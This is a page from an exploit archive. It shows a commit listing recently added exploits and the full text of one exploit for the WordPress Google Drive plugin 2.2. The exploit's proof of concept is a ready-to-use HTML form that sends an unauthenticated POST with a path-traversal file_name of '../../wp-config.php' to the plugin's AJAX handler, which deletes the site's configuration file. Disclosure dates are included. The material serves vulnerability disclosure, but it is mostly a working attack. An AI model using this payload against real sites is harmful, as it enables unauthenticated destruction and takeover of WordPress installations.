c91cad5a90
19 changes to exploits/shellcodes WebKit - WebAssembly Parsing Does not Correctly Check Section Order CyberArk Password Vault < 9.7 / < 10 - Memory Disclosure H2 Database - 'Alias' Arbitrary Code Execution GoldWave 5.70 - Local Buffer Overflow (SEH Unicode) PMS 0.42 - Local Stack-Based Overflow (ROP) Unitrends UEB 10.0 - Unauthenticated Root Remote Code Execution WolfCMS 0.8.3.1 - Cross Site Request Forgery Cobub Razor 0.7.2 - Add New Superuser Account MyBB Plugin Recent Threads On Index - Cross-Site Scripting WolfCMS 0.8.3.1 - Open Redirection Yahei PHP Prober 0.4.7 - Cross-Site Scripting WordPress Plugin Simple Fields 0.2 - 0.3.5 - Local/Remote File Inclusion / Remote Code Execution CyberArk Password Vault Web Access < 9.9.5 / < 9.10 / 10.1 - Remote Code Execution KYOCERA Multi-Set Template Editor 3.4 - Out-Of-Band XML External Entity Injection KYOCERA Net Admin 3.4 - Cross Site Request Forgery - Add Admin Exploit Buddypress Xprofile Custom Fields Type 2.6.3 - Remote Code Execution WooCommerce CSV-Importer-Plugin 3.3.6 - Remote Code Execution iScripts SonicBB 1.0 - Reflected Cross-Site Scripting WordPress Plugin Google Drive 2.2 - Remote Code Execution
34 lines
No EOL
1,017 B
Text
34 lines
No EOL
1,017 B
Text
# Exploit Title: Plugin Google Drive for WordPress 2.2 – RCE – Unlik
|
||
# Date: 08/04/2018
|
||
# Exploit Author: Lenon Leite
|
||
# Vendor Homepage: *https://wordpress.org/plugins/wp-google-drive/
|
||
# Software Link: *https://wordpress.org/plugins/wp-google-drive/
|
||
# Contact: http://twitter.com/lenonleite
|
||
# Website: http://lenonleite.com.br/
|
||
# Category: webapps
|
||
# Version: 2.2
|
||
# Tested on: Ubuntu 16.1
|
||
|
||
1 - Description
|
||
|
||
|
||
- Type user access: Don't need of login .
|
||
- $_POST[‘file_name’] is not escaped.
|
||
|
||
2. Proof of Concept
|
||
|
||
1 - Send data form:
|
||
|
||
<form method="post"
|
||
action="http://target/wp-content/plugins/wp-google-drive/gdrive-ajaxs.php">
|
||
<input type="text" name="ajaxstype" value="del_fl_bkp">
|
||
<input type="text" name="file_name" value="../../wp-config.php">
|
||
<input type="text" name="id" value="1">
|
||
<input type="submit">
|
||
</form>
|
||
|
||
|
||
# - Date Discovery : *11/25/2017*
|
||
# - Date Vendor Contact : *12/26/2017*
|
||
# - Date Publish : 08/04/2018
|
||
# - Date Resolution : |